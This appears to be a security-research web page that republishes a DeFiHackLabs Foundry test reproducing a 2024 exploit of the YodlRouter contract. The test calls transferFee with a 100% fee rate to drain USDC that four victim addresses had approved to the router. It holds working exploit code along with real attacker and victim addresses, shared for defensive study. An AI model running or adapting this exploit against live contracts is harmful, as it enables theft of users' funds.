Skip to content
THREATWIRE

Public reproduction file

src/test/2024-08/YodlRouter_exp.sol

Public reproduction file for dataset entry YodlRouter.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-08/YodlRouter_exp.sol65 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~5k
8// Attacker : https://etherscan.io/address/0xedee6379fe90bd9b85d8d0b767d4a6deb0dc9dcf
9// Attack Contract : https://etherscan.io/address/0x802cfff8d7cb27879e00496843bb69361ff09ab3
10// Vulnerable Contract : https://etherscan.io/address/0xe3a0bc3483ae5a04db7ef2954315133a6f7d228e
11// Attack Tx : https://etherscan.io/tx/0x54f659773dae6e01f83184d4b6d717c7f1bb71c0aa59e8c8f4a57c25271424b3
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xe3a0bc3483ae5a04db7ef2954315133a6f7d228e#code
16// @Analysis
17// Post-mortem :
18// Twitter Guy :
19// Hacking God :
20pragma solidity ^0.8.0;
22interface IR {
23 function transferFee(uint256 amount, uint256 feeBps, address token, address from, address to) external;
26contract NoName is BaseTestWithBalanceLog {
27 uint256 blocknumToForkFrom = 20_520_368;
28 address internal YodlRouter = 0xE3A0bc3483AE5a04DB7eF2954315133a6F7D228E;
29 address internal USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
31 function setUp() public {
32 vm.createSelectFork("mainnet", blocknumToForkFrom);
33 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
34 fundingToken = address(USDC);
35 }
37 function testExploit() public balanceLog {
38 //implement exploit code here
39 uint256 amount;
40 uint256 feeBps = 10_000;
41 address token = USDC;
42 address from;
43 address to = address(this);
45 // Victim 0
46 from = 0x5322BFF39339eDa261Bf878Fa7d92791Cc969Bb0;
47 amount = 45_588_747_326;
48 IR(YodlRouter).transferFee(amount, feeBps, token, from, to);
50 // Victim 1
51 from = 0xa7b7d4ebF1F5035F3b289139baDa62f981f2916E;
52 amount = 1_219_608_225;
53 IR(YodlRouter).transferFee(amount, feeBps, token, from, to);
55 // Victim 2
56 from = 0x2c349022df145C1a2eD895B5577905e6F1Bc7881;
57 amount = 1_000_000_000;
58 IR(YodlRouter).transferFee(amount, feeBps, token, from, to);
60 // Victim 3
61 from = 0x96D0F726FD900E199680277aAaD326fbdebc6BF9;
62 amount = 1_000_000;
63 IR(YodlRouter).transferFee(amount, feeBps, token, from, to);
64 }

Analysis

Dataset entry

Public Foundry test for “YodlRouter” (2024-08-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xedee6379fe90bd9b85d8d0b767d4a6deb0dc9dcf

  • Attack Contract

    0x802cfff8d7cb27879e00496843bb69361ff09ab3

  • Vulnerable Contract

    0xe3a0bc3483ae5a04db7ef2954315133a6f7d228e

  • Attack Tx

    0x54f659773dae6e01f83184d4b6d717c7f1bb71c0aa59e8c8f4a57c25271424b3

File record

Name
YodlRouter
Path
src/test/2024-08/YodlRouter_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
24f8f115665246d4ca3f1aff66f412e030fe3768
Language
Solidity
Size
66 lines
Date
2024-08-14
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-08/YodlRouter_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 24f8f115665246d4ca3f1aff66f412e030fe3768, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.